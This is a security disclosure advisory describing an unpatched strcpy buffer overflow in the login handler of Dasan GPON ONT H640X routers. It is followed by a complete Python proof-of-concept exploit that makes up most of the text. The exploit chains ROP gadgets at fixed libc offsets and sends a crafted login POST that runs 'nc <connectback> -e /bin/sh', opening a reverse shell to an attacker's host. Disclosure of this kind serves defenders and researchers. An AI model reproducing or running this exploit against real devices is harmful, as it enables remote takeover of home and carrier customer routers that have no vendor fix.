### Vulnerability SummaryThe following advisory describes a buffer overflow that leads to remote code execution found in Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146Dasan Networks GPON ONT WiFi Router “is indoor type ONT dedicated for FTTH (Fibre to the Home) or FTTP (Fiber to the Premises) deployments. That can work as simple Bridge or behave as Router/NAT. It’s cost-effective CPE that meets carrier-class requirement for Telcom industry and guarantee reliable service proven in the field.”### CreditAn independent security researcher, TigerPuma (at) Fosec.vn, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program### Vendor responseWe tried to contact Dasan since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.### Vulnerability detailsAll cgi in Dasan web service are symbolic link of cgipage.cgi, and when client request, lighttpd will invoke the corresponding path.The buffer overflow vulnerability found in function login_action which handler login request.The function uses strcpy without check length of input from client request.If we will look at the stack, we can see that we can trigger the buffer overflow and in the end to control the pc.
import sysimport socketimport jsonimport timeimport structimport sslif len(sys.argv) != 4: print "Use: {} ip port connectback".format(sys.argv[0]) sys.exit(1)host = str(sys.argv[1])port = int(sys.argv[2])connectback = str(sys.argv[3])buf = 1024sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#sock.settimeout(10)clientsocket = ssl.wrap_socket(sock)#clientsocket = sockclientsocket.connect((host, port))addr_libc = 0x2ad0c000 # 0x2ad0e000 with H640DW# rop1rop1 = addr_libc + 0x00115d40 #addiu $a0,$sp,0x18 | jalr $s0addr_rop1 = struct.pack(">i",rop1)#rop2system = addr_libc + 0x0003CC9C #systemaddr_system = struct.pack(">i",system)# execute commandcommand = "nc " + connectback + " -e /bin/sh;"payload = "A"*(756 – 0x28) + addr_system + 'C'*(0x28-8) + addr_rop1 + ';'*24 + commanddata = "action={}&txtUserId=a&button=Login&txtPassword=a&sle_Language=english\r\n".format(payload)http_payload = """POST /cgi-bin/login_action.cgi HTTP/1.1\r\nHost: 192.168.1.100:8080\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://192.168.1.100:8080/cgi-bin/login.cgi\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\n{}""".format(len(data),data)print http_payloadclientsocket.send(http_payload)respond_raw = clientsocket.recv(buf).strip()print respond_rawrespond_raw = clientsocket.recv(buf).strip()print respond_rawrespond_raw = clientsocket.recv(buf).strip()print respond_rawclientsocket.close()
